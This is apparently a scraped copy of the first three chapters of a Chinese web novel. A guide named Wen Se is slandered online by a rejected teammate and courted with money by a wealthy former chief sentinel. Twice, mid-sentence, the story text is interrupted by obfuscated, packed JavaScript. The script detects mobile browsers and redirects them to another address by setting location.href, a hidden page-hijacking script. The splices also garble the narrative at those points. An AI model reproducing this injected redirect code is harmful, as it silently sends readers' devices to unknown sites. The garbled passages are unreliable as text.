《首席哨兵非要当我ATM》 1. 第 1 章 “请看这里——好的,谢谢配合,您的档案已更新完毕。” 闻璱接过工作人员递来的文件夹。 离开白塔事务中心的路上,闻璱打开终端,发现自己在白塔线上系统的头像,被换成了刚才拍摄的证件照。 自从半年前开始就是这样。 每次档案更新,使用默认头像的用户,都会被系统把头像换成更新时录入的照片。 据说,这是为了推广哨兵向导使用线上系统进行社交。 闻璱这个单身多年,感情经历一片清白的首席向导,更是重点关注对象。 一个弹窗突然出现: 【A级向导闻璱,您的等级评定已无法延迟,请在3个月内前往考核中心进行评定,逾期会导致自动降级。】 他不动声色地把弹窗关闭,把头像换回默认的灰色剪影头像。 移入消息页面,又是一连串消息弹出来。 除了各种官方通知、广告,有一个被设为“免打扰”状态的好友,竟然发了99+消息。 最新一条消息是一个定位,显示正在事务中心。 闻璱皱眉点开,扫了一眼。 除了可爱表情包和废话之外,没有任何有效内容。 对话框最下方,还在持续弹出最新消息: 【彭枭:忙完了?】 【彭枭:我看到你刚刚换头像了。】 【彭枭:我在大厅等你。】 还附上了一张耍帅自拍。 闻璱脚步一停,立刻退出对话框,不忍卒视那张自恋的脸。 他决定换一条路离开事务中心,省得被彭枭缠上。 但这其实有点困难。 彭枭是哨兵,五感本就敏锐,精神体又是警觉的猫头鹰,这更加强了他的视觉。 闻璱但凡出现在大厅周边,就很难不被他发现。 在地图前沉思片刻,闻璱决定溜进隔壁的静音室,从静音室的后门直达地下车库。 静音室是提供给有需要的哨兵的。 因为哨兵敏锐的感官,暴露在日常生活的各种污染中,极易受创。 在有需要的情况下,登记过的哨兵可以用脸刷开任何机构的闲置静音室,并以极低廉的价格,享受静音室的白噪音。 低廉到什么程度呢?付不起房租的哨兵,会选择在静音室长期落脚。 但如果是向导,在安抚哨兵之外的情况下使用静音室,属于占用公共资源,需要缴纳高额罚款。 显然,闻璱不想交罚款,所以他需要一个“病人”。 这当然是违规的。 但也不算那么违规。 因为这一排静音室的提示灯都显示无人使用,闻璱也具有诊疗资质,就算真的安抚哨兵,并没有“非法安抚”的道德风险。 要不,紧急加塞一个客户,让他立刻过来找自己? 但是……这也太迂回了,而且万一来的路上被彭枭发现怎么办。 思虑之间,口袋里的终端又震动起来。 彭枭迫不及待地拨来了语音电话。 闻璱挂了。 彭枭立刻又弹来许多条:“怎么了?”、“你在哪?”、“需要我帮忙吗?”的消息。 紧接着,还有一个视频电话。 闻璱真是一个头两个大。 他划开通讯录,正要从里面挑选一个冤大头,一旁洗手间里恰好有人出来。 是一个穿着运动服,戴着鸭舌帽和口罩的哨兵,个高腿长,走起路来悄得像在飘,没有一点声响。 空气萦绕着闻璱身上逸散出来的向导素,很淡,但足以让对方立刻意识到,闻璱是个向导。 终端又震动起来,是彭枭的视频电话。 闻璱来不及多想,立刻拉住哨兵,道:“帮我个忙。” 哨兵有些不太情愿地抬眼:“?” 他额前的碎发被鸭舌帽压得趴倒,遮住了上半张脸,这样微微抬起下巴,闻璱才能看到他有一双蓝紫色的眼眸。 “打开这间静音室。”闻璱说,“费用我会转给你。” 哨兵看了闻璱一眼,没多话地刷开了最近的一间静音室。 闻璱道:“谢谢。” 哨兵刷完脸,含糊地说了一声:“不用还了。”转身就要离开。 顿了顿,闻璱还是道:“加个通讯录吧,我欠你个人情。” 哨兵没回头,挥了挥手,背影无声地消失在走廊拐角。 这一番折腾回到宿舍,已经是深夜十一点多。 冲澡洗去一身的疲惫之后,闻璱在书桌前坐下,开始跟这周的客户一一核定日程,然后安排下周的客户。 虽然是首席向导,但这两年闻璱很少接任务。 尤其最近半年以来,他的时间被自己的私活“那个”填满,想接点简单的任务,都腾不出时间。 闻璱打开终端,切换小号:AAA拔牙小鸭。 随着线上系统实名制推广,一个提醒立刻弹出:【用户AAA拔牙小鸭,请尽快完成实名制认证,在完成认证之前,您在白塔线上系统的权限受限。】 绝大多数特种人开小号,甚至有无法认证的普通人在白塔注册账号,都是为了八卦唠嗑社交。 所以白塔的新规一针见血——未实名用户的发帖、回帖和聊天消息条数、通讯录好友上限都很少。 而且聊天时还会不断被提醒:谨防诈骗。 这对闻璱接私活也是毁灭性打击,因为他的老客户还在不断介绍新客户,但好友已满。 闻璱不得不考虑转移回大号的可行性。 清理小号通讯录到最后,闻璱只清掉了一个人。 一个页面干净得像闻璱大号,却没有实名认证的用户。 打开对话框,也没有任何聊天记录。 闻璱甚至想不起来是什么时候、为什么加了他。 忙完这些,闻璱再次切回大号,眼睛照旧屏蔽彭枭没完没了的消息。 即便彭枭发来的消息已经沾了不堪入目的脏字。 闻璱惊讶的是,他打开小队群,发现自己被踢出了群组。 果然,操作人还是彭枭。 只能说有些人的心眼真是比马眼还小。 闻璱放下终端,有些无语地躺进被窝。 窗户没关,月光照进来,挟着一阵风。 闻璱没睁眼道:“小黑,别忘了关窗。” 没有人回应,但桌子上被踩出来一串像枫叶,又像雨伞的水印。 闻璱余光瞥见,顿时气不打一处来:“你又不擦脚就回来!” 他对着空气翻了个白眼,认命地爬起来开始擦桌子。 擦完桌子,闻璱一回头,发现背后的地上、柜子上到处都是相似的水印,一路蜿蜒进了浴室。 闻璱洁癖大发,按捺住怒火,深呼吸着继续劳动。 而罪魁祸首,自始至终都是“空气”。 . 第二天,闻璱到工作室时,早上的客户已经蹲在门口等着了。 闻璱礼貌性地说:“抱歉,迟到了。” “没事,是我来早了。”客户是一位花豹哨兵,手里提了两大袋热气腾腾的肉包,一边吃一边问,“早饭吃了吗?我多买了点,想吃自己拿。” 闻璱婉拒:“谢谢,吃过了。” 其实早上睡过了,只垫了两口饼干,还是有点饿,但闻璱比较爱吃素。 简单收拾准备了一下,刚好花豹哨兵也狼吞虎咽地吃完了早餐,闻璱寒暄着开始步入正题:“最近怎么样?” 花豹哨兵是闻璱的老客户,但还是第一次来工作室。 他打量一圈四周,很不见外地拖了一把椅子过来,却并没有坐下。 口中答道:“两周前刚从污染区回来,一直在家休息,但感觉还是不太好。” 闻璱问:“那今天要戴……”说着,他拉开手边的抽屉。 花豹哨兵突然打断:“抱歉,医生。” 闻璱的动作一停。 “医生”是一个“安全词”。 “要不今天就算了吧,我们聊聊天?”花豹哨兵在椅子上不自然地扭了扭,“那个,我能问问你为什么要租工作室吗?我记得之前不都是上我家里做吗?” 他脸一红,解释道:“……环境有点陌生,我好像,有点放松不下来。” “原来是这样。”闻璱问,“你有什么喜欢的东西吗?如果你愿意的话,可以告诉我,下次来,我会把它摆在这里。” “不,不是……”花豹哨兵欲言又止,没敢说,已经在这了。 “我只是需要你愿意重新和我建立信任关系。”闻璱温和道,“我不会伤害你。” 花豹哨兵只好坦诚:“这里离公会总部很近,装修也好,租金不便宜吧?” 闻璱一愣。 当然很贵,房东还是个狮子大开口的事儿公,但也没有办法,私下安抚是违规的。 没办法,涉及特种人事务,总是撇不开“风险”二字。 普通人不会允许安抚这么“危险”的行为发生在他们身边,即便精神力对普通人 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闻璱的手指白皙、修长,明明没有施加任何力,花豹哨兵却忍不住顺从地瘫软在椅子上。 “我不会让你破坏任何东西,也不会破坏你,就像以前一样。”闻璱用另一只手盖住花豹哨兵的眼前。 他声音轻轻,微风一样窜进了花豹哨兵的耳朵里:“相信我,我能控制得住。” 话音落下的同时,精神力同样探出。 花豹哨兵闷哼一声,仿佛久旱之人终于得到甘霖般,颤抖着闭上了眼睛。 事后,花豹哨兵大汗淋漓地几乎站不住,被神清气爽的精神体花豹驮着,去浴室进行简单的冲洗。 闻璱也摘下手套洗了个手。 他看起来还算气定神闲,只是长舒出一口气,随手解开了衬衣最上面的两颗扣子。 雪白的衣襟掩映下,因呼吸而微微起伏的薄肌胸膛,和吐息之间隐隐的热意,似乎让他身上的冷感褪去半分。 门铃忽地响起来,急促得让人能想象门外的人如何暴躁。 闻璱打开门,顿时有点头疼了。 门外是脸黑得像锅底的彭枭。 精神体猫头鹰站在彭枭肩头,因为是早上,已经困得睁不开眼。 彭枭的视线落在他尚未系上扣子的胸口,顿时连同猫头鹰一起,眼皮都不会眨了。 他一句话没说,就想强行挤进工作室。 闻璱没有让步,甚至反手带上了门:“你来干什么?” “你还有脸问我?”彭枭咬牙切齿,“你之前是怎么答应我的?不是说不干了吗?不接电话、不回消息,就是为了背着我继续出来卖?” 闻璱不知道彭枭哪来的脸质问自己,但还是平静地一一回答他的问题:“有,为什么没有?我没答应过你任何事,更没说过退休,你也别把自己想得那么重要。” 彭枭怒道:“你这个疯子!装货!荡夫!” 接着就是一连串有的没的人生攻击。 来往行人并不少,彭枭骂起街来,立刻有行人驻足看热闹,甚至录像。 虽然终端的隐私保护机制会自动模糊人脸,但闻璱还是有些烦。 “彭枭,立刻离开。”闻璱听到背后浴室里的水声停了,知道花豹哨兵很快就会出来,只想立刻赶走彭枭,“再不走我报警了。” “你报啊!”彭枭更是火冒三丈,“我就在这呢!” “……” 失策了,忘了彭枭就在警卫队挂职。 闻璱捏了捏眉心:“你到底想干什么?联谊之前,我就跟你说清楚了,只是装个样子而已。你反悔了,现在可以去白塔举报,我任由处分。” 察觉出闻璱话语中的“让步”,彭枭深呼吸几口,似乎冷静下来。 “你明知道我不是那个意思。”彭枭道,“我这几年怎么对你的,你就没有半点感动?你就忍心这样对我?” 闻璱冷冷道:“神经。” “……”彭枭顿时又挂不住脸了。 “闻璱,你真的很装。”彭枭逼近半步,阴沉道:“你以为你接受的是谁的爱?这都是你逼我的!你也不想你这些不可告人的小秘密,有一天闹得人尽皆知吧——闻、首、席?” 围观人群不乏哨兵,果然,立刻有人低语:“闻首席?啊,这是那个闻璱?” 闻璱握了握拳,按捺住一巴掌抽飞彭枭的欲望。 他怕彭枭爽到。 “好啊。”闻璱道:“你说出去吧——不,不用你,我自己来。” 2. 第 2 章 放完狠话,摸到口袋空空如也,闻璱突然反应过来,他的终端还放在工作室里。 他绕过彭枭,从人群里挑了一个降噪耳机、口罩、墨镜一应俱全,一看就是哨兵的金发路人,伸出手:“帅哥,终端能借我用一下吗?把隐私保护关了,我发个帖子。” 金发哨兵有一个镶满大钻,土豪奢华的终端。 闻璱打开论坛,飞快地编辑了一个帖子: 【震惊!首席向导闻璱其实又穷又抠,大家都被他骗了!】 闻璱想了想,实在不知道自己还有什么可曝的,只好打了一句:【有图有真相,知情人马上来爆料!】 然后,他调出前置相机,面无表情地比了个“耶”,把自己和彭枭都置入画幅,自拍一张,贴在贴子里。 做完这些之后,他把终端还给金发哨兵,道:“抱歉,最近消息提醒可能会比较多,麻烦您屏蔽一下。有事随时来找,我欠您一个人情。” 金发哨兵接过终端,似乎低声嘟囔了一句什么,但隔着口罩,闻璱什么也没听清。 彭枭已经气得目眦欲裂,浑身颤抖。 闻璱不忘补充一句:“帖子帮你发好了,记得自己补充料。”就回了工作室。 临关门之前,闻璱又探出头,冷笑了一声:“千万别说忙忘了,不爆点什么我看不起你。” 工作室里,花豹哨兵脸色不善,沉声道:“他威胁你?这种事,你怎么不告诉我?” 临街的一整面落地窗都是智能玻璃,常年开启单向模式,花豹哨兵洗漱完之后,把一切看得清清楚楚。 “告诉你会怎样?”闻璱问。 “我帮你揍他!”花豹哨兵挥了挥拳头,拳风隆隆作响。 “……就怕你这样。”闻璱笑了,“把客户掺和进自己的私人恩怨里,太没素质。更何况,客户听说我这里这么多事,不得吓跑啊。” 又叮嘱了几句注意事项,外面的彭枭走了,围观人群渐渐散去,花豹哨兵也准备离开。 临走前,花豹哨兵站在门口,低声说:“客户不可以掺和私人恩怨,但是朋友可以帮你。” 他回过头:“闻璱,我知道这话你可能已经听腻了,但是,不论你有没有把我当朋友,我都是你的朋友。” 闻璱没有回答,默不作声地等着门被关上,然后整理其他哨兵的安抚记录。 下午又送走了两个客户之后,回到宿舍已经很晚。 因为工作时间一直使用小号跟客户进行沟通,晚上回家切回大号,闻璱才收获了比昨天更可怕的消息轰炸。 无数条相似的消息:快看论坛。 并附上数都数不清的感叹号。 闻璱早有预料,但点开论坛时,仍然为之震惊。 因为那帖子现在正飘着“HOT”的红字,挂在论坛首页最醒目的位置。 短短一天过去,竟然就有了八千条回帖! 并且,似乎还有好事者@出了他的大号,消息提醒处更是一个鲜红的:999+ 不仅如此,在爆料贴本体的下面,竟然还飘着好几个热门的【扒一扒那个大家都知道的高岭之花私下靠骗哨兵钱和感情装阔又装逼】。 竟然都有人给他做吃瓜汇总了! 正好,省得闻璱自己爬楼。 闻璱随手点进去一个汇总贴里,只见主楼按顺序发出来了爆料贴中的重要内容截图。 一个ID叫“乱世出枭雄”的认证哨兵发了好多条回帖: 【我跟ws认识六年,做队友也有四年了,一直是编队里的固定成员,不信的人自己去查,ws在圣所和公会期间,所有的团体记录都有我的名字。】 【我也爱了他六年,追了他六年,这六年给他买过的东西,我都懒得一一去算,随便拍一张给你们看看吧。】 下面一楼就附上了一张照片,奢派手表、服装、鞋子,豪车钥匙,角落里露出了一只脚。 闻璱低头一看,还真是自己脚上正穿着的这双作训靴。 但这双作训靴是公会的配给,登记过的在役特种人都可以定期免费领取。 【我追他的事,当年在圣所也不是秘密,随便你们打听,他自己更是心知肚明。】 闻璱心道:不是半年前那场联谊,自己还真闻所未闻。 【半年前联谊活动,ws终于答应了我的追求,我还以为苦尽甘来。但联谊结束之后没多久,ws翻脸不认人,拉黑了我的联系方式,我就这样“被断崖式分手”。】 闻璱忍不住无语,他到现在都没拉黑彭枭呢! 【一开始,我以为是我的错,我跟ws道歉、补偿,求他原谅。结果ws收了礼物,还是对冷冰冰的——我后来才发现,他早就傍上了金主!还不止一个!】 【大家想不到,我也想不到,谁能想到他一副那么高贵冷艳的样子,其实在外面出卖身体啊?他的金主那么多,全是高级哨兵,虽然多数不如我,但是跟每一个人都保持长期关系,从每个人身上都能捞到一点,算下来,当然好过被我绑定了!】 彭枭的爆料大抵如此。 闻璱也没想到,放任彭枭发疯,竟然能被他东拼西凑编出来一个这样的故事。 抽象到有心人只要稍微一查,就能发现真相和彭枭所说毫不相干。 但是,吃瓜的人,谁是为了真的去求证什么呢。 汇总贴里,有人@闻璱的大号出来骂。 【@闻璱,当事人不出来回应一下?】 【你也不看看放锤的人是谁……】 【就算不是p大公子,恐怕ws也不敢回吧,毕竟照片不是p的。】 结果没两句话就歪楼了: 【不是我说,镇楼这张照片拍得真不错啊,ws还是那么漂亮,那么贵气,那么高不可攀,几年没见了,一看到这张照片,我又想起当年在圣所,为了闻璱小队的名额,而和发小决斗的那些青春时光了。】 【楼上口味真是猎奇,你要知道,贵气的贵可能来源于卖勾八。】 【卖勾八怎么了?要不是圣所那一夜我输给了发小,今天还未必轮得到px给ws当狗呢!我比px嘴巴严,还比px有容人之态!】 【又是来给ws当m的,抬走,下一个。】 闻璱习以为常地忽略这些没营养的口水话,突然发现,眼前混进一层认真回复:【不是,没人注意到发帖人的ID吗?】 有人回复:【不就是“乱世出枭雄”吗,这么中二,除了px还能是谁?他确实和w什么s认识挺多年了,这爆料可信度不低。】 【不是px啊,他只是爆料的,你仔细看看楼主是谁!】 闻璱也看了一眼,楼主,也就是那个镶钻终端的主人,那个全副武装的金发帅哥,有一个很卖萌的ID:蒸饺omo。 结果,下面几十楼都是一溜烟的震惊表情包。 好半天,才有人继续讨论: 【卧槽,怎么是他?】 【他不是销声匿迹好几年了吗?】 【他和px是朋友?果然二代们的圈子都是互通的……】 【他可不是普通的二代,px搭不上他的边。】 【那他居然帮px发帖挂人?】 【他不会也w什么s鱼塘里的金主鱼吧……发现自己被骗了,所以因爱生恨?】 【卧槽,w什么s危!】 危……了吗? 好几十楼浏览过去,硬是没有人敢提这个“蒸饺omo”的真名。 闻璱也有些好奇,忍不住从原贴点进了“蒸饺omo”的主页,就这样看到了“蒸饺omo”的头像—— 一只剑齿虎侧面“匕首牙”特写。 好的,现在闻璱也想起来“蒸饺omo”是谁了。 公会唯一一个刃齿虎哨兵,前一任首席哨兵,据说也是白塔有史以来最强的S级,弓铮皎。 闻璱虽然是首席向导,但和弓铮皎有时间差,二人并不算是同期首席。 不过弓铮皎有什么背景,闻璱还真不了解。 所以,这个有无数传说的顶级哨兵,竟然会混在人群中看热闹?太巧了吧。 闻璱忍不住想起那个镶满钻的剌手终端。 ……这位前首席的审美稍嫌庸俗,恕闻璱无法欣赏。 不过,既然如此,闻璱顺手给“蒸饺omo”发去一个好友申请。 他又没真的惹过弓铮皎,怕什么。 相反,不管是不是为了还早上那个人情,一个S级哨兵的人脉都很珍贵。 如果弓铮皎看不上这个人情,大不了被拒绝,闻璱也没什么损失。 发完申请,闻璱就将这位传说哨兵,连同彭枭和爆料贴,一并抛之脑后了。 但流言多少还是给闻璱的工作带来了一些困扰。 从第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418151|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二天开始,每一位客户都是怒气冲冲地来,愤懑不平地走。 安抚前后,相似的话几乎要把闻璱的耳朵磨出老茧: “我帮你澄清!” “我帮你揍死彭枭!” 也有人问:“你和弓铮皎是不是有什么误会?” 显然,大家都担心他真的和弓铮皎闹了不愉快。 当然也有:“弓铮皎居敢惹你?惹你就是惹我,他完蛋了!” ——来自现任首席哨兵逄靥星,也曾是闻璱编队中的固定成员兼副队长。 “曾”,是因为闻璱现在被踢出了群组。 当然,闻璱很久不跟任务了,他自己对此倒是没有什么太多的感觉。 面对逄靥星的义愤填膺,他反而问:“你们没去登记吧?” 他们这个编队在圣所时就固定了,正式的人员变动需要去和公会分别登记,漫长的审批期间,所有队员都会进入积分冷冻期。 逄靥星无奈道:“没有。” “别冲动。”闻璱说,“群里把我踢了不要紧,但你们如果真的去登记,我就没法苟分了。” 高等级任务会给编队所有成员奖励积分,就算是缺席档次任务的成员,也能蹭两口肉汤喝。 逄靥星吐槽:“你这个分奴,不对,现在是金钱与积分的双重奴隶。” “不说这个了。”闻璱撇开话题,“你也认识弓铮皎?” 果然,提起这事,逄靥星又义愤填膺起来:“不认识!但他要敢来找你麻烦,看我不把他揍得连声说‘闻璱大人我错了再也不敢了’!” 闻璱:“……莫名其妙地在燃些什么呢。” “谁让彭枭敢说什么‘我不如他’的!”逄靥星震怒。 闻璱了然地点头:“有空你约彭枭出来线下真人快打。” 逄靥星这一单属于靠关系“加塞”,收工之后已是深夜。 地铁即将停运,逄靥星提出送闻璱回家。 看着街边那辆闪亮的跑车,甚至还有一小束花,闻璱就知道,逄靥星这是刚提的新车还没炫够呢。 搭顺风车又舒服,又免费,闻璱当然不会拒绝。 他爽快地上了车,欣赏着漂亮的仪表盘,忍不住露出怀念的微笑。 却不知道阴影里,有一双高高在上的眼睛,将一切看在眼中。 终端忽然响起提示音,闻璱拿起来一看,发现是“蒸饺omo”通过了好友申请。 ……这都半周过去了。 对方立刻弹来一句:【你好。是要删帖吗?】 闻璱回复:【你好。不用了,谢谢。】 没有后续的删帖只会引起更多的讨论,真的想要息事宁人,应该用强有力的证据澄清。 可惜哪怕证据到处都是,闻璱也不好挑明。 毕竟,真要论起来,私下安抚明面上属于违规。 之所以闻璱能勉强“过了明路”,是白塔和公会衡量他这些年做牛做马做分奴,没有功劳也有苦劳,又考虑到他是为了治病才铤而走险。 一旦澄清,这件事少不得引起新的风波。 闻璱总不好得了便宜还卖乖。 况且,在网络上挨挨骂而已,又不影响挣钱,闻璱其实不觉得自己损失了什么。 留着帖子,也好让彭枭沉浸在这个剧本里,独自高潮,省得彭枭以为他真吃威胁这一套。 想了想,闻璱又发了一句:“如果你有需要,随时来今天那里找我。” “正在输入中…”显示了好半天,蒸饺omo发来一句:【他说的不是真的,对吧。】 闻璱微微挑眉,把终端放回口袋里。 他没有回复,蒸饺omo也没有再说话。 直到晚上睡前,蒸饺omo突然又弹来一条消息。 闻璱点开一看,好悬没晕字。 好长的一条消息,一屏都装不下,还间歇性丢了标点符号,密密麻麻又凌乱, 闻璱直接划到最后,发现最后一句是:你还是要对自己好一点、自爱一点,也要跟人保持一定的距离。 而这长篇大论的第一句话是:我相信你不是他说的那种人。 闻璱:? 矛盾文学? 他于是诚实地回了一个:【?】 蒸饺omo立刻回复:【钱的事你不用担心。】 【蒸饺omo向您转账100万元。】 3. 第 3 章 面对着巨款转账,闻璱扣在“?”上的手犹豫了好半天,才艰难地移开。 转而打出语气温柔的字句:【我好像不太明白您的意思,可以展开说说吗?】 蒸饺omo:【我觉得你太不容易了。】 闻璱费解:太不容易了……所以弓铮皎就来做男菩萨了? 蒸饺omo:【你别误会,我不是想用金钱侮辱你的人格。】 闻璱:那还是侮辱吧。 他可不会为了清高而放弃这么大一笔巨款。 蒸饺omo:【你就当做是工资吧。】 蒸饺omo:【我知道你在干什么,每天来得鸡早,走得比狗晚,累得小脸煞白,太辛苦。】 闻璱:【……你跟踪我?】 蒸饺omo:【没有。】 蒸饺omo:【是你工作室那栋楼归我,我最近住在楼上。】 闻璱被这等土豪之力震惊到了。 那可是距离公会总部步行不超过十分钟的超级CBD,寸土寸金都是往谦虚了说。 弓铮皎居然在那有一栋楼? 不愧是论坛说彭枭都不配沾边的存在。 蒸饺omo:【本以为把租金挂得贵一点,就没人会来租,没想到你无论如何都要租下来。】 闻璱:…… 他竟然当了冤大头?! 蒸饺omo:【最近看你为了负担房租,这么忙碌,我良心很不安,所以我想雇佣你。你以前一个月挣多少钱?往多了报,我翻倍给你,但以后你只有我一个老板。】 虽然闻璱的之所以忙于私活,和高昂的房租其实没有太大关系。 闻璱挑了挑眉:【你想包养我?】 蒸饺omo:【你怎么会这么想?等价交换,我们只是冰冷的金钱关系。】 闻璱饶有兴致:【那你认为我应该提供什么服务?不是身体吗?】 蒸饺omo:【你肯定不是卖身的那种骚浪贱向导,你只是有一点点的不自爱,没有很多。】 闻璱:…… 他不知道自己是不是该回一句“谢谢啊”。 蒸饺omo:【……你不会真的是吧?】 蒸饺omo:【你不是吧?】 蒸饺omo:【不是吧?】 闻璱:…… 闻璱:【明天再说,好吗?我要休息了。】 闻璱:【午饭时间你来找我吧。】 闻璱:【晚安。】 放下终端之前,闻璱又怜惜地摸了摸那笔巨款转账,最终选择退回。 废话,没有标明自愿捐赠,万一是仙人跳怎么办。 不要以为有钱人看不上自己那点小钱,有钱人也不会嫌钱多。 一夜好梦过后,闻璱神清气爽。 洗漱时,他顺手拿起终端,发现蒸饺omo在闻璱退回转账两个小时之后,又发来几条消息。 1:30:【晚安。】 2:48:【明天中午见。】 2:57:【需要我给你带饭吗?我家厨师做得还挺好吃的。】 4:19:【……我就知道你不是那种见钱眼开,什么都能出卖的人。】 如果让这位刃齿虎哨兵辗转反侧的,是如此高贵的品德的话…… 抱歉,让他失望了,毕竟闻璱真的很需要这笔钱。 但面对这样一位财大气粗的金主,闻璱还是非常有耐心地保持人设,关怀道:【谢谢。午饭就不用了。但是注意身体,晚上别熬这么晚了。】 结果,四个小时前还在思想斗争发消息的弓铮皎秒回:【没关系。】 又补充:【谢谢你的关心。】 闻璱照旧在工作室完成了早上的工作。 时钟转到中午12:00时,门铃准时响起。 打开门,弓铮皎还是几天前全副武装的模样,拎着一个行李箱一样大的饭盒站在门口。 闻璱微笑着将他迎进来。 才在茶几前坐下,弓铮皎口罩下的鼻子就动了动,声音闷闷:“有气味,鬣狗哨兵。” 闻璱微微侧目。 早上来的客户确实是一位鬣狗哨兵。 哨兵虽然也分泌特种人激素,但却不像向导素那么有特殊效果。 在不特意释放以表示“领地”意图的情况下,哨兵之间,其实很少能闻到彼此的气味。 更何况,工作室的新风系统常年运转,就是为了避免这种情况, 没想到,在弓铮皎这种顶级哨兵面前,还是徒劳。 就连闻璱稍含惊讶的目光,也没能逃过弓铮皎的感知。 弓铮皎轻咳了一声,问:“能开启白噪音模式吗?” 闻璱说:“已经打开了。你的意思是,需要开到最大吗?” 白噪音是安抚哨兵必备的系统。 但对于绝大多数哨兵来说,基础模式的白噪音已经足够。 白噪音等级拉到最高,反而会形成一种类似于“蚊音”的高频短波音。 弓铮皎却说:“是的。能吗?不然我没法摘耳机。” 看来他对于所处的环境很敏感,超过闻璱以往见过的任何哨兵。 闻璱并没有丝毫抗拒,立刻给自己塞上耳塞,把白噪音模式拉满。 他对于安抚哨兵很有心得,也明白哨兵不会在这种场合撒谎,说需要就是真的需要。 弓铮皎这才摘下耳机,却仍然戴着口罩和兜帽。 他指了指行李箱一般大的饭盒,说:“我已经吃过了,你先吃饭吧。要尝尝吗?厨师专门给普通人和向导做的。” 普通人和向导的口味相似,而这对于哨兵的味觉来说,调味太浓。 所以如果闻璱婉拒,这些饭菜只能浪费。 盛情难却,闻璱道过感谢之后,一一打开品尝。 果然是色香味俱全。 弓铮皎就在一旁静静地看着他吃。 见闻璱放下筷子插了擦嘴,弓铮皎评价道:“你完全不吃肉啊。” 闻璱进入正题:“弓先生,我想了解一下您对我们之间‘雇佣关系’的具体看法,方便吗?” 弓铮皎说:“不用这么见外,喊我名字就行。” “其实,我想了想,你也可以不用服务我。”他的手在膝上搓了搓,“我就是有钱没处花了,想找个地方挥霍,你懂吧?” 闻璱保持微笑,但很难说得出一个“懂”字。 他为了省钱,不得不搬回工会那逼仄的福利宿舍里住,这真不是他能听得下去的话。 “就像我昨天说的,我觉得你真的很辛苦。”弓铮皎感叹,“太不容易了,也太不爱惜自己了。不管怎样……人年轻就是要去享受生活啊。” 原来他说的不自爱,是这个意义上的不自爱吗? 闻璱把话题扯回来:“所以您其实是想做慈善,资助有志青年享受生活?” 那他可就找错人了,因为闻璱清楚,自己是个无底洞,很难让慈善家得到成就感的反馈。 弓铮皎摇了摇头:“当然不,我又不是X山大佛。” 他看着闻璱:“我只是觉得,你值得更好,比如,去阳光下奔跑、和精神体在草地里打滚,去攀岩、狩猎,过这样的日子!” 很遗憾,闻璱不为金钱困扰时,也不会在闲暇时间化身成一只阳光的金毛犬。 闻璱礼貌道:“方便问下您今年的年纪吗?” 不然,为什么对他说出这种,行将就木的老头才会说的话。 弓铮皎答:“二十八。” 闻璱:……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418152|168897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 明明只比闻璱大两岁而已。 弓铮皎又道:“你不用担心,我对你没有那种企图。” 说这话时,他抬起头,一双澄净的蓝眸里有星光般的紫,像一副夜幕的画作。 闻璱一愣,脑中仿佛有一块起雾的窗户突然被擦亮。 他忍不住问:“我们是不是在哪里见过?” “你终于想起来了。”弓铮皎说,“不过那点钱就不用还了,至于人情,你答应我的要求就行。” 原来几天前在事务中心,为了避开彭枭,闻璱从洗手间门口抓住的那个壮丁哨兵,就是弓铮皎。 这么巧,他已经两次让弓铮皎帮忙了。 但这两份人情,还不足以让闻璱答应被“买断”。 就算现在,是弓铮皎“求”着要做他的金主。 闻璱微微一笑:“无论如何,这几天您帮了我好几个忙,对于您的好意,我十分感谢。但我也有我的安排。今天不如就到这里吧?下午我还有事要做。” 他现在知道,以弓铮皎的财力,确实不在乎自己那点小钱,于是只能说:“如果您不介意的话,我们交个朋友?” 他也只能拿出这作为“回报”。 “你下午又要接单了吗?”弓铮皎似乎有些不满,重申了一遍,“我说了,我不是在侮辱你。” 闻璱明白他是好意,忍着笑问:“那您确认,就是想包养我、在不需要服务的情况下给我花钱,对吗?” 弓铮皎沉默片刻,似乎实在不想接受“包养”这么龌龊的说法,又改了口:“好吧,那你给我提供服务也行。” “其实论坛里有人替你澄清,说你不是卖身,但是,”弓铮皎面露迟疑,“我昨天刷了一晚上,看到有人说你能解决困扰很久的问题,让他重振雄风,但又说你不是涩情行业……所以你到底是不是?” 闻璱微微一笑,突然话锋一转:“方便看看您的精神体吗?我还没见过刃齿虎呢。” 弓铮皎不明所以,但慷慨地立刻召出精神体。 刃齿虎庞大的身形出现的瞬间,偌大的工作室突然变得很狭小,因为摆放着大大小小的家具,空间甚至不够让这巨大的野兽遵循本性地撑个懒腰,只能伏在地上。 它的眼珠子比闻璱拳头还大,被这样一双野兽凝视着,仿佛连空气都变得滞涩。 闻璱下意识地回避。 这似乎是人类面对自然界曾经的顶级掠食者本能的战栗,闻璱也不例外。 但闻璱也并不觉得倍感压力、无法呼吸。 因为精神体往往会反映主人的潜意识,弓铮皎对闻璱不仅没有敌意,反而有些莫名其妙的欣赏。 所以,刃齿虎并没有任何示威的意思,而是静静地打量着闻璱,温顺得像一只大猫。 这是在动物园里都见不到的灭绝动物,会有哨兵觉醒出这样的精神体,简直是个奇迹。 闻璱是个慕强的人,原本只是想满足一下自己的好奇心。 毕竟,他原本打算看完灭绝动物就送客。 可就在闻璱的目光落在那两颗硕大的匕首牙上时,刃齿虎突然转头,仿佛视野中突然出现了心仪的猎物。 动作突然,扫倒了一片椅柜。 就连弓铮皎自己也没料到,甚至被噪音惹得眉头紧锁。 闻璱却顾不上那些—— 他盯着刃齿虎清澈的琥珀色眸子,竟然从反光中看见一道熟悉而优雅的黑影。 